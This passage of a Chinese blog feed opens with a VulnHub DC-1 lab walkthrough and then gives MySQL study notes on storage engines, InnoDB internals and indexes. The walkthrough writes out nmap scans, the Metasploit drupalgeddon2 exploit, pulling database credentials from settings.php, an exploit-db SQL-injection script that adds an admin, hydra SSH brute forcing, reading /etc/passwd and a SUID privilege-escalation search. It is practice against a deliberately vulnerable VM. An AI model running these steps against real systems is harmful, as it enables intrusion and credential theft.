    <content type="html"><![CDATA[<p>靶机使用VMware搭建，网络为桥接模式，也可使用NAT模式</p><p>操作不难，主要学思路和方法，老是看别人渗透操作感觉我上我也行，但实际上自己真正的来操作了就知道了，越到后面就越不知道从何入手。。。</p><p>靶机：192.168.99.170（DC-1），<a href="https://www.vulnhub.com/entry/dc-1,292/">vulnhub地址</a></p><p>渗透机：192.168.99.188（Kali）</p><p>物理主机：192.168.99.107（Windows10）</p><p>目标：尽可能拿到更多的flag</p><p>nmap主机发现：</p><pre class="language-bash" data-language="bash"><code class="language-bash">nmap -sP -PR <span class="token number">192.168</span>.99.1/24-sP: Ping Scan - go no further than determining <span class="token keyword">if</span> <span class="token function">host</span> is online-PR: ARP Ping</code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnHub-DC-1/image-20210501114628048.png" alt loading="lazy"></p><p>找到靶机地址，对靶机端口进行扫描：</p><pre class="language-bash" data-language="bash"><code class="language-bash"><span class="token function">sudo</span> nmap -T4 -A -sN <span class="token number">192.168</span>.99.170-sN: TCP Null, FIN, and Xmas scans-A: Enables OS detection and Version detection</code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnHub-DC-1/image-20210501115129119.png" alt loading="lazy"></p><p>查看80端口有http服务开放，打开发现是一个Drupal站点，版本为Drupal 7，网上搜有18年的代码执行漏洞（CVE-2018-7600）</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnHub-DC-1/image-20210501155026635.png" alt loading="lazy"></p><p>上msf，<code>search drupal</code>，用18年的</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnHub-DC-1/image-20210501155618792.png" alt loading="lazy"></p><pre class="language-bash" data-language="bash"><code class="language-bash">use exploit/unix/webapp/drupal_drupalgeddon2<span class="token builtin class-name">set</span> RHOSTS <span class="token number">192.169</span>.99.170exploit</code></pre><p>成功弹回一个shell</p><p>查看系统信息<code>sysinfo</code></p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnHub-DC-1/image-20210501164905497.png" alt loading="lazy"></p><p>进入系统shell，查看当前用户为www-data</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnHub-DC-1/image-20210501165519887.png" alt loading="lazy"></p><p>搜集信息</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnHub-DC-1/image-20210501161345481.png" alt loading="lazy"></p><p>拿到flag1，<code>Every good CMS needs a config file - and so do you.</code>，根据提示找配置文件</p><p><code>search -f setting*</code> 或<code>find . -type f | xargs grep &quot;password&quot;</code>找setting开头的文件</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnHub-DC-1/image-20210501163530112.png" alt loading="lazy"></p><p><code>download ./sites/default/settings.php /home/kali/</code>下载下来看看</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnHub-DC-1/image-20210501163755265.png" alt loading="lazy"></p><p>拿到flag2，数据库用户账号密码</p><pre class="language-none"><code class="language-none">dictionary attacks aren&#39;t theonly ways to gain access (and you WILL need access).What can you do with these credentials?&#39;username&#39; &#x3D;&gt; &#39;dbuser&#39;,&#39;password&#39; &#x3D;&gt; &#39;R0ck3t&#39;,</code></pre><p><code>python -c &quot;import pty;pty.spawn(&#39;/bin/bash&#39;)&quot;</code>进入一个交互式的shell，为什么要用交互式shell，因为非交互shell无回显，<a href="https://blog.csdn.net/gui951753/article/details/79154496">详见</a></p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnHub-DC-1/image-20210501165847912.png" alt loading="lazy"></p><p><code>mysql -udbuser -pR0ck3t</code>登录<code>mysql</code>命令行</p><p><code>select * from users \G;</code> </p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnHub-DC-1/image-20210501202239805.png" alt loading="lazy"></p><p>admin密码加密的，这里有两个方法可以拿到后台管理员的账号</p><p>一个是把数据库中admin的密码给改成我们想要的密码，前提是要经过<code>Drupal</code>后端加密的才行</p><p>在网站根目录<code>scripts</code>找到加密脚本，<a href="http://drupalchina.cn/node/2128">参考</a></p><p>执行加密脚本<code>php scripts/password-hash.sh 123456</code>，得到<code>123456</code>加密后的密码<code>$S$DO3Rg8SH1xaO3lXuF8sKc8905t0xwoMMO80Ikju//Ia1JwdtrWz5</code></p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnHub-DC-1/image-20210501202852481.png" alt loading="lazy"></p><p>在数据库中<code>update</code>管理员的密码，即可用更改后的密码登录</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnHub-DC-1/image-20210501203540144.png" alt loading="lazy"></p><p>还有一种方法，<code>searchsploit drupal</code>发现<code>Drupal 7.0 &lt; 7.31</code>版本存在SQL注入，可以直接添加管理员账号，<a href="https://www.exploit-db.com/exploits/34992">详见</a></p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnHub-DC-1/image-20210501204048208.png" alt loading="lazy"></p><p><code>python 34992.py -t http://192.168.99.170 -u extrader -p 123456</code> 即可添加管理员用户</p><p>登录后台</p><p>content里找到flag3</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnHub-DC-1/image-20210501204137968.png" alt loading="lazy"></p><p>暗示<code>shadow</code>，<code>cat /etc/passwd</code>，发现flag4用户</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnHub-DC-1/image-20210501204348304.png" alt loading="lazy"></p><p>在<code>/home/flag4</code>目录下找到<code>flag4.txt</code>文件</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnHub-DC-1/image-20210501162541392.png" alt loading="lazy"></p><p>这里还可以用<code>hydra</code>爆破flag4的密码，虽然没啥用，学操作就够了</p><pre class="language-none"><code class="language-none">-l 指定用户名-P 加载密码字典（自定义)ssh:&#x2F;&#x2F;ip 指定使用协议和ip地址</code></pre><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnHub-DC-1/image-20210501210421392.png" alt loading="lazy"></p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnHub-DC-1/image-20210501210913760.png" alt loading="lazy"></p><pre class="language-none"><code class="language-none">Can you use this same method to find or access the flag in root?Probably. But perhaps it&#39;s not that easy.  Or maybe it is?</code></pre><p>意思要我们提权</p><p>suid提权</p><p><code>find / -perm -u=s -type f 2&gt;/dev/null</code>找到一个属于root的有s权限的文件</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnHub-DC-1/image-20210501205439109.png" alt loading="lazy"></p><p>提权，在<code>/root</code>目录下拿到最终的flag</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/VulnHub-DC-1/image-20210501205503876.png" alt loading="lazy"></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;靶机使用VMware搭建，网络为桥接模式，也可使用NAT模式&lt;/p&gt;
&lt;p&gt;操作不难，主要学思路和方法，老是看别人渗透操作感觉我上我也行，但实际上自己真正的来操作了就知道了，越到后面就越不知道从何入手。。。&lt;/p&gt;
&lt;p&gt;靶机：192.168.99.170（DC-1），&lt;a
      
    
    </summary>
    
    
      <category term="渗透" scheme="https://www.extrader.top/categories/%E6%B8%97%E9%80%8F/"/>
    
    
      <category term="靶机" scheme="https://www.extrader.top/tags/%E9%9D%B6%E6%9C%BA/"/>
    
  </entry>
  
  <entry>
    <title>MySQL学习笔记</title>
    <link href="https://www.extrader.top/posts/f12cbde5/"/>
    <id>https://www.extrader.top/posts/f12cbde5/</id>
    <published>2021-04-09T05:17:01.000Z</published>
    <updated>2022-03-26T05:48:50.953Z</updated>
    
    <content type="html"><![CDATA[<h3 id="MySQL存储引擎"><a href="#MySQL存储引擎" class="headerlink" title="MySQL存储引擎"></a>MySQL存储引擎</h3><p>存储引擎是MySQL组件，用于处理不同类型的SQL操作。</p><p>使用 <a href="https://dev.mysql.com/doc/refman/5.7/en/show-engines.html"><code>SHOW ENGINES</code></a> 语句查看服务器支持哪些存储引擎，Support列中表示是否可以使用，DEFAULT表示默认值。（下图版本为MySQL 5.7.26，Windows 10）</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/MySQL%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/image-20210409135417092.png" alt loading="lazy"></p><p><a href="https://dev.mysql.com/doc/refman/5.7/en/innodb-storage-engine.html"><code>InnoDB</code></a> 是默认的且用途最广的存储引擎，Oracle官方建议将其用于表（特殊用例除外）。（默认情况下 ，MySQL 5.7 or MySQL 8.0 中使用  <a href="https://dev.mysql.com/doc/refman/5.7/en/create-table.html"><code>CREATE TABLE</code></a> 语句创建<code>InnoDB</code>表。）</p><h4 id="InnoDB"><a href="#InnoDB" class="headerlink" title="InnoDB"></a>InnoDB</h4><p>事务型数据库的首选引擎，支持事务安全（ACID），具有提交（COMMIT），回滚（ROLLBACK）和奔溃恢复（crash-recovery）功能 <a href="https://dev.mysql.com/doc/refman/5.7/en/mysql-acid.html">InnoDB and the ACID Model</a></p><p>行级锁定和Oracle风格的一致读取可提高多用户的并发性和性能 <a href="https://dev.mysql.com/doc/refman/5.7/en/innodb-locking-transaction-model.html">InnoDB Locking and Transaction Model</a></p><p>InnoDB将数据存放在磁盘上，以基于主键优化查询，每个InnoDB表都有一个称为聚集索引（The Clustered Index）的主键索引，该索引组织数据以最小化主键查找<code>I/O</code> <a href="https://dev.mysql.com/doc/refman/5.7/en/innodb-index-types.html">Clustered and Secondary Indexes</a></p><p>为了保持数据的完整性，InnoDB支持 <code>FOREIGN KEY</code> 约束，使用外键检查插入，更新和删除，以确保它们不会导致相关表之间的不一致。 <a href="https://dev.mysql.com/doc/refman/5.7/en/create-table-foreign-keys.html">FOREIGN KEY Constraints</a></p><p><strong>ACID</strong></p><ul><li><p>原子性（Atomicity）</p><p>一个事务要么全部提交成功，要么全部回滚失败，不能只执行其中的一部分操作</p></li><li><p>一致性（Consistency）</p><p>事务的执行不能破坏数据库的完整性和一致性，在一个事务在执行前后，数据库都必须处于一致性状态，以防止数据崩溃</p></li><li><p>隔离性（Isolation）</p><p>在并发的环境中，并发事务是相互隔离的，并发执行的事务直接不能互相干扰</p></li><li><p>持久性（Durability）</p><p>一旦事务提交，则对应数据库中的数据状态的变更就会永久的保存到数据库中</p></li></ul><p>一般来说，如果需要事务支持，并且有较高的并发读取频率，InnoDB首选</p><h4 id="MyISAM"><a href="#MyISAM" class="headerlink" title="MyISAM"></a>MyISAM</h4><p>所有数据值首先存储在低字节中（The Low Byte First），这使得MyISAM独立于操作系统，可以轻松地将其从Windows服务器移植到Linux服务器</p><p>每个<code>MyISAM</code>表都以三个文件存储在磁盘上。这些文件具有以表名开头的名称，并具有用于指示文件类型的扩展名，<code>.frm</code> 文件存储表格式，<code>.MYD</code>（MYData）文件存储数据，<code>.MYI</code>（MYIndex）存储索引</p><p>支持并发插入，即适合在插入密集型表中使用，例如管理邮件或Web服务器日志数据</p><p>MyISAM存储引擎在筛选大量数据时非常迅速，适合插入密集型表</p><h4 id="Memory"><a href="#Memory" class="headerlink" title="Memory"></a>Memory</h4><p>将所有数据存储在RAM中，以便在需要快速查找非关键数据的环境中进行快速访问，当mysqld守护进程崩溃时，所有的Memory数据都会丢失。</p><p>要求存储在Memory数据表里的数据使用的是长度不变的格式，不支持可变长度数据类型（包括BLOB和TEXT），VARCHAR是一种长度可变的类型，但因为它在MySQL内部当做长度固定不变的CHAR类型，所以可以使用。</p><p>一般在目标数据较小，而且访问非常频繁适合使用，造成内存的使用可以通过参数<code>max_help_table_size</code>控制<code>Memory</code>表的大小，如果数据是临时的，而且要求必须被立即使用，就可以存放在内存表之中，若数据丢失，不会对应用服务产生实质的负面影响，Memory同时支持散列索引和B数索引。</p><h4 id="CSV"><a href="#CSV" class="headerlink" title="CSV"></a>CSV</h4><p>实际上是带有逗号分隔符的文本文件，CVS表允许以CSV格式导入或转储数据，以便与读取和写入相同格式的脚本和应用程序交换数据。</p><p>CSV 存储引擎因为自身文件格式的原因，所有列必须强制指定 NOT NULL 。</p><p>CSV 存储引擎也会包含一个存储表结构的 .frm 文件，还会创建一个 .csv 存储数据的文件，还会创建一个同名的元信息文件，该文件的扩展名为 .CSM ，用来保存表的状态及表中保存的数据量。每个数据行占用一个文本行。</p><h4 id="ARCHIVE"><a href="#ARCHIVE" class="headerlink" title="ARCHIVE"></a>ARCHIVE</h4><p>归档，仅支持最基本的插入和查询两种功能，MySQL 5.5以后的版本中开始支持索引，Archive拥有很好的压缩机制，它使用zlib压缩库，在记录被请求时会实时压缩，所以它经常被用来当做仓库使用。</p><h4 id="BLACKHOLE"><a href="#BLACKHOLE" class="headerlink" title="BLACKHOLE"></a>BLACKHOLE</h4><p>黑洞存储引擎，所有插入的数据并不会保存，BLACKHOLE 引擎表永远保持为空，写入的任何数据都会消失。</p><h3 id="InnoDB底层原理"><a href="#InnoDB底层原理" class="headerlink" title="InnoDB底层原理"></a>InnoDB底层原理</h3><p>架构图：</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/MySQL%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/image-20210409171932233.png" alt loading="lazy"></p><h4 id="Buffer-Pool"><a href="#Buffer-Pool" class="headerlink" title="Buffer Pool"></a>Buffer Pool</h4><p><a href="https://dev.mysql.com/doc/refman/8.0/en/innodb-buffer-pool.html">缓冲池</a></p><p>InnoDB为了做数据的持久化，会将数据存储到磁盘上。但是面对大量的请求时，CPU的处理速度和磁盘的IO速度之间差距太大，为了提高整体的效率， InnoDB引入了<strong>缓冲池</strong>。</p><p>缓冲池是内存中的一个区域，在InnoDB访问表和索引数据的时候会在其中进行高速缓存，缓冲池允许直接从内存访问经常使用的数据，从而加快了处理速度。在专用服务器上，通常将多达80％的物理内存分配给缓冲池。</p><p>为了提高大容量读取操作的效率，缓冲池被划分为多个页面，这些页面可以潜在地容纳多行，为了提高缓存管理的效率，使用最近最少使用（LRU）算法的变体，将很少使用的数据从缓存中老化掉。</p><p>如何利用缓冲池将经常访问的数据保留在内存中是MySQL调优的重要方面。</p><h4 id="Buffer-Pool-LRU-Algorithm"><a href="#Buffer-Pool-LRU-Algorithm" class="headerlink" title="Buffer Pool LRU Algorithm"></a>Buffer Pool LRU Algorithm</h4><p><a href="https://dev.mysql.com/doc/refman/8.0/en/innodb-buffer-pool.html">缓冲池LRU算法</a></p><p>缓冲池使用LRU算法的变体作为列表进行管理。当需要空间以将新页面添加到缓冲池时，将驱逐最近使用最少的页面，并将新页面添加到列表的中间。此中点插入策略将列表视为两个子列表：</p><ul><li><p>最前面是最近访问过的新页面（“年轻”） 的子列表</p></li><li><p>在末尾，是最近访问过的旧页面的子列表</p></li></ul><p>官方结构图如下：</p><p><img src="https://dev.mysql.com/doc/refman/8.0/en/images/innodb-buffer-pool-list.png" alt loading="lazy"></p><ul><li>3/8的缓存池专用于旧的子列表</li><li>列表中点是新子列表的尾部与旧子列表的头部相交的界面</li><li>当InnoDB将页面读入缓冲池时，首先插入中点</li><li>访问旧子列表中的页面会使得其变为”年轻“，然后移至新子列表的开头</li><li>随着数据库的运行，通过移至列表的末尾，缓冲池中未访问的页面将“老化”，新的和旧的子列表中的页面都会随着其他页面的更新而老化，随着在中点插入页面，旧子列表中的页面也会老化。最终，未使用的页面到达旧子列表的尾部并被逐出。</li></ul><h4 id="Change-Buffer"><a href="#Change-Buffer" class="headerlink" title="Change Buffer"></a>Change Buffer</h4><p><a href="https://dev.mysql.com/doc/refman/8.0/en/innodb-change-buffer.html">插入缓冲</a></p><p>插入缓冲针对的操作是更新或者插入，我们考虑最坏的情况，那就是需要更新的数据都不在缓冲池中。那么此时等数据达到某个阈值（例如50条）才批量的写入磁盘</p><p><img src="https://dev.mysql.com/doc/refman/8.0/en/images/innodb-change-buffer.png" alt loading="lazy"></p><p><a href="https://dev.mysql.com/doc/refman/8.0/en/innodb-parameters.html#sysvar_innodb_change_buffering"><code>innodb_change_buffering</code></a> 变量控制<code>InnoDB</code> 执行更改缓冲的程度，默认值为all。</p><ul><li><p><strong><code>all</code></strong></p><p>默认值：缓冲区插入，删除标记操作和清除。</p></li><li><p><strong><code>none</code></strong></p><p>不要缓冲任何操作。</p></li><li><p><strong><code>inserts</code></strong></p><p>缓冲区插入操作。</p></li><li><p><strong><code>deletes</code></strong></p><p>缓冲区删除标记操作。</p></li><li><p><strong><code>changes</code></strong></p><p>缓冲插入和删除标记操作。</p></li><li><p><strong><code>purges</code></strong></p><p>缓冲在后台发生的物理删除操作。</p></li></ul><p><a href="https://dev.mysql.com/doc/refman/8.0/en/innodb-parameters.html#sysvar_innodb_change_buffer_max_size"><code>innodb_change_buffer_max_size</code></a> 变量允许将更改缓冲区的最大大小配置为缓冲池总大小的百分比。默认情况下， <code>innodb_change_buffer_max_size</code>设置为25。最大设置为50。</p><h4 id="Log-Buffer"><a href="#Log-Buffer" class="headerlink" title="Log Buffer"></a>Log Buffer</h4><p><a href="https://dev.mysql.com/doc/refman/8.0/en/innodb-redo-log-buffer.html">日志缓冲</a></p><p>日志缓冲区是存储区域，用于保存要写入磁盘上的日志文件的数据。日志缓冲区大小由<a href="https://dev.mysql.com/doc/refman/8.0/en/innodb-parameters.html#sysvar_innodb_log_buffer_size"><code>innodb_log_buffer_size</code></a>变量定义 。默认大小为16MB。日志缓冲区的内容会定期刷新到磁盘。较大的日志缓冲区使大型事务可以运行，而无需在事务提交之前将重做日志数据写入磁盘。因此，如果有更新，插入或删除许多行的事务，则增加日志缓冲区的大小可以节省磁盘I/O。</p><h4 id="Adaptive-Hash-Index"><a href="#Adaptive-Hash-Index" class="headerlink" title="Adaptive Hash Index"></a>Adaptive Hash Index</h4><p><a href="https://dev.mysql.com/doc/refman/8.0/en/innodb-adaptive-hash.html">自适应哈希索引</a></p><p>自适应索引就跟JVM在运行过程中，会动态的把某些热点代码编译成Machine Code一样，InnoDB会监控对所有索引的查询，对热点访问的页建立哈希索引，以此来提升访问速度。</p><h4 id="Doublewrite-Buffer"><a href="#Doublewrite-Buffer" class="headerlink" title="Doublewrite Buffer"></a>Doublewrite Buffer</h4><p><a href="https://dev.mysql.com/doc/refman/8.0/en/innodb-doublewrite-buffer.html">双写缓冲区</a></p><p><strong>插入缓冲</strong>提高了MySQL的性能，而<strong>两次写</strong>则在此基础上提高了数据的可靠性。当数据还在缓冲池中的时候，当机器宕机了，发生了<strong>写失效</strong>，有Redo Log来进行恢复。但是如果是在从缓冲池中将数据刷回磁盘的时候宕机了呢？</p><p>这种情况叫做部分写失效，此时重做日志就无法解决问题。</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/MySQL%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/image-20210409163524052.png" alt loading="lazy"></p><p>在刷脏页时，并不是直接刷入磁盘，而是copy到内存中的Doublewrite Buffer中，然后再拷贝至磁盘共享表空间（你可以就理解为磁盘）中，每次写入1M，等copy完成后，再将Doublewrite Buffer中的页写入磁盘文件。</p><p>有了两次写机制，即使在刷脏页时宕机了，在实例恢复的时候也可以从共享表空间中找到Doublewrite Buffer的页副本，直接将其覆盖原来的数据页即可。</p><p>尽管数据被写入两次，但双写缓冲区不需要两倍的I / O开销或两倍的I / O操作。只需一次<code>fsync()</code>调用操作系统即可将数据按较大的顺序块写入doublewrite缓冲区（除非 <code>innodb_flush_method</code>设置为 <code>O_DIRECT_NO_FSYNC</code>）。</p><p>在MySQL 8.0.20之前，doublewrite缓冲区存储区位于<code>InnoDB</code>系统表空间中。从MySQL 8.0.20开始，doublewrite缓冲区存储区位于doublewrite文件中。</p><h4 id="Redo-Log"><a href="#Redo-Log" class="headerlink" title="Redo Log"></a>Redo Log</h4><p><a href="https://dev.mysql.com/doc/refman/8.0/en/innodb-redo-log.html">重做日志</a></p><p>用于记录事务操作的变化，且记录的是修改之后的值。</p><p>不管事务是否提交都会记录下来。例如在更新数据时，会先将更新的记录写到Redo Log中，再更新缓存中页中的数据。然后按照设置的更新策略，将内存中的数据刷回磁盘。</p><h4 id="Undo-Log"><a href="#Undo-Log" class="headerlink" title="Undo Log"></a>Undo Log</h4><p><a href="https://dev.mysql.com/doc/refman/8.0/en/innodb-undo-logs.html">撤消日志</a></p><p>记录事务开始之前的一个版本，可用于事务失败之后发生的回滚。</p><h3 id="索引"><a href="#索引" class="headerlink" title="索引"></a>索引</h3><p>MySQL索引的建立对于MySQL的高效运行是很重要的，索引可以大大提高MySQL的检索速度。</p><p>拿汉语字典的目录页（索引）打比方，我们可以按拼音、笔画、偏旁部首等排序的目录（索引）快速查找到需要的字。</p><p>创建索引时，你需要确保该索引是应用在 SQL 查询语句的条件(一般作为 WHERE 子句的条件)。</p><p>实际上，索引也是一张表，该表保存了主键与索引字段，并指向实体表的记录。</p><p>过多的使用索引将会造成滥用。因此索引也会有它的缺点：虽然索引大大提高了查询速度，同时却会降低更新表的速度，如对表进行INSERT、UPDATE和DELETE。因为更新表时，MySQL不仅要保存数据，还要保存一下索引文件。建立索引会占用磁盘空间的索引文件。</p><p>索引分为：</p><ol><li><p>主键索引</p><p>primary key() 要求关键字不能重复，也不能为null,同时增加主键约束</p><p>主键索引定义时，不能命名</p></li><li><p>唯一索引</p><p>unique index() 要求关键字不能重复，同时增加唯一约束</p></li><li><p>普通索引</p><p>index() 对关键字没有要求</p></li><li><p>全文索引</p><p>fulltext key() 关键字的来源不是所有字段的数据，而是字段中提取的特别关键字</p></li></ol><p>先了解一下索引的数据结构 B-Tree（MySQL主要使用 B-tree 平衡树）</p><h4 id="B树"><a href="#B树" class="headerlink" title="B树"></a>B树</h4><p>B树也称B-树,它是一颗多路平衡查找树。大致结构如下</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/MySQL%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/image-20210410153354423.png" alt loading="lazy"></p><p>B树的阶为节点的最多的子节点数</p><p>B数的搜索方式从根节点开始，对节点内的关键字（有序）序列进行二分查找，如果命中则结束，否则进入查询关键字所属范围的儿子节点，叶子节点和非叶子节点都存放数据，搜索有可能在非叶子节点结束。</p><h4 id="B-树"><a href="#B-树" class="headerlink" title="B+树"></a>B+树</h4><p>B+ 树是 B 树的变体，也是一种多路搜索树。</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/MySQL%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/image-20210410154531450.png" alt loading="lazy"></p><p>B+树只有到达叶子节点才命中，即所有关键字都出现在叶子节点链表中</p><ul><li>数据只能在叶子节点，也叫 <strong>稠密索引</strong>，且链表中的关键字（数据）恰好是有序的。</li></ul><p>非叶子节点相当于是叶子节点的索引，也叫 <strong>稀疏索引</strong>，叶子节点相当于是存储（关键字）数据的数据层</p><p>B+数对于B数的优势</p><ul><li>单一节点存储的元素多，使得查询的IO次数更少，适合做MySQL的底层数据结构</li><li>所有查询都要查到叶子节点，查询性能稳定</li><li>所有叶子节点形成一个有序的链表，便于查找</li></ul><h4 id="哈希索引"><a href="#哈希索引" class="headerlink" title="哈希索引"></a>哈希索引</h4><p>只有精确匹配索引所有列的查询才有效。每行数据存储引擎都会对所有的索引列计算一个哈希码，哈希索引将哈希码存储在索引中，同时在哈希表中保存指向每个数据行的指针。因为索引自身只存储对应的哈希值，所以索引的结构十分紧凑，哈希索引查找的速度非常快。但是</p><ul><li>不按照索引顺序存储，无法用于排序</li><li>不支持部分索引查找匹配</li><li>不支持范围查找</li></ul><h4 id="聚集索引"><a href="#聚集索引" class="headerlink" title="聚集索引"></a>聚集索引</h4><p>由B+树实现，一个表只能有一个聚集索引，InnoDB表中聚集索引的索引列就是主键，所以聚集索引也叫主键索引。如下表：</p><pre class="language-sql" data-language="sql"><code class="language-sql"><span class="token keyword">create</span> <span class="token keyword">table</span> Student<span class="token punctuation">(</span>    id <span class="token keyword">int</span><span class="token punctuation">(</span><span class="token number">11</span><span class="token punctuation">)</span> <span class="token keyword">primary</span> <span class="token keyword">key</span> <span class="token keyword">auto_increment</span><span class="token punctuation">,</span>    last_name <span class="token keyword">varchar</span><span class="token punctuation">(</span><span class="token number">50</span><span class="token punctuation">)</span> <span class="token operator">not</span> <span class="token boolean">null</span><span class="token punctuation">,</span>     first_name <span class="token keyword">varchar</span><span class="token punctuation">(</span><span class="token number">50</span><span class="token punctuation">)</span> <span class="token operator">not</span> <span class="token boolean">null</span><span class="token punctuation">,</span>     birthday <span class="token keyword">date</span> <span class="token operator">not</span> <span class="token boolean">null</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre><p>聚集索引的结构如下：</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/MySQL%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/image-20210410161154845.png" alt loading="lazy"></p><blockquote><p>聚簇索引：索引的叶节点指向数据</p><p>非聚簇索引：索引的叶节点指向数据的引用</p><p>myisam使用非聚簇索引，innodb使用聚簇索引</p></blockquote><h4 id="二级索引"><a href="#二级索引" class="headerlink" title="二级索引"></a>二级索引</h4><p>对于InnoDB表，在非主键列的其他列上建的索引就是二级索引（因为聚集索引只有一个）。</p><p>在MySQL中主键索引的叶子节点存的是整行数据，而二级索引叶子节点内容是主键的值。</p><p>详见：<a href="http://mysql.taobao.org/monthly/2020/01/01/">MySQL · 引擎特性 · 二级索引分析</a></p><h3 id="索引优化"><a href="#索引优化" class="headerlink" title="索引优化"></a>索引优化</h3><ul><li><p>尽量保证全值匹配，即索引字段和select字段相同且顺序一致</p></li><li><p>最佳左前缀法则：如果索引多列，则查询要从索引的最左列开始，且中间不跳过索引中的列</p></li><li><p>不在索引列上做任何操作(计算、函数、类型转换、不要出现隐式转)，会导致索引失效而全表扫描</p><pre class="language-sql" data-language="sql"><code class="language-sql">假设目标行 name <span class="token operator">=</span> <span class="token string">'july'</span><span class="token keyword">select</span> <span class="token operator">*</span> <span class="token keyword">from</span> info <span class="token keyword">where</span> name<span class="token operator">=</span><span class="token string">'july'</span><span class="token punctuation">;</span>           <span class="token comment">## 走索引 </span><span class="token keyword">select</span> <span class="token operator">*</span> <span class="token keyword">from</span> info <span class="token keyword">where</span> <span class="token keyword">left</span><span class="token punctuation">(</span>name<span class="token punctuation">,</span><span class="token number">4</span><span class="token punctuation">)</span><span class="token operator">=</span><span class="token string">'july'</span><span class="token punctuation">;</span>   <span class="token comment">## 不走索引</span></code></pre></li><li><p>一旦出现非等值字段条件判断，则该字段后的索引列皆失效</p><pre class="language-sql" data-language="sql"><code class="language-sql"><span class="token keyword">select</span> <span class="token operator">*</span> <span class="token keyword">from</span> info <span class="token keyword">where</span> a<span class="token operator">=</span><span class="token number">10</span> <span class="token operator">and</span> b<span class="token operator">=</span><span class="token number">100</span> <span class="token operator">and</span> c<span class="token operator">=</span><span class="token number">1000</span><span class="token punctuation">;</span>   <span class="token comment">## 全索引  a_b_c  </span><span class="token keyword">select</span> <span class="token operator">*</span> <span class="token keyword">from</span> info <span class="token keyword">where</span> a<span class="token operator">=</span><span class="token number">10</span> <span class="token operator">and</span> b<span class="token operator">></span><span class="token number">100</span> <span class="token operator">and</span> c<span class="token operator">=</span><span class="token number">1000</span><span class="token punctuation">;</span>   <span class="token comment">## 部分索引 a_b  </span><span class="token comment">## 非等值条件包括：in &lt; > != like 等  </span><span class="token comment">## 注意：当like 'aaa%' 通配符在右时，仍然能够走全索引  </span><span class="token keyword">select</span> <span class="token operator">*</span> <span class="token keyword">from</span> info <span class="token keyword">where</span> a<span class="token operator">=</span><span class="token number">10</span> <span class="token operator">and</span> b <span class="token operator">like</span> <span class="token string">'100%'</span> <span class="token operator">and</span> c<span class="token operator">=</span><span class="token number">1000</span><span class="token punctuation">;</span>   <span class="token comment">## 全索引  a_b_c  </span><span class="token keyword">select</span> <span class="token operator">*</span> <span class="token keyword">from</span> info <span class="token keyword">where</span> a<span class="token operator">=</span><span class="token number">10</span> <span class="token operator">and</span> b <span class="token operator">like</span> <span class="token string">'%100'</span> <span class="token operator">and</span> c<span class="token operator">=</span><span class="token number">1000</span><span class="token punctuation">;</span>   <span class="token comment">## 部分索引 a</span></code></pre></li><li><p>尽量使用覆盖索引，即查询列为索引列的子集，减少select * 的使用</p></li><li><p>MySQL在使用不等于(!=或者&lt;&gt;)时无法使用索引，会导致全表扫描</p><pre class="language-sql" data-language="sql"><code class="language-sql"><span class="token keyword">select</span> <span class="token operator">*</span> <span class="token keyword">from</span> info <span class="token keyword">where</span> a<span class="token operator">=</span><span class="token number">100</span><span class="token punctuation">;</span>     <span class="token comment">## 走索引  </span><span class="token keyword">select</span> <span class="token operator">*</span> <span class="token keyword">from</span> info <span class="token keyword">where</span> a<span class="token operator">!=</span><span class="token number">100</span><span class="token punctuation">;</span>    <span class="token comment">## 不走索引，全表扫描</span></code></pre></li><li><p>查询条件为 is NULL 和 is not NULL情况时也无法使用索引</p><pre class="language-sql" data-language="sql"><code class="language-sql"><span class="token keyword">select</span> <span class="token operator">*</span> <span class="token keyword">from</span> info <span class="token keyword">where</span> a <span class="token operator">is</span> <span class="token boolean">null</span><span class="token punctuation">;</span>      <span class="token comment">## 不走索引  </span><span class="token keyword">select</span> <span class="token operator">*</span> <span class="token keyword">from</span> info <span class="token keyword">where</span> a <span class="token operator">is</span> <span class="token operator">not</span> <span class="token boolean">null</span><span class="token punctuation">;</span>  <span class="token 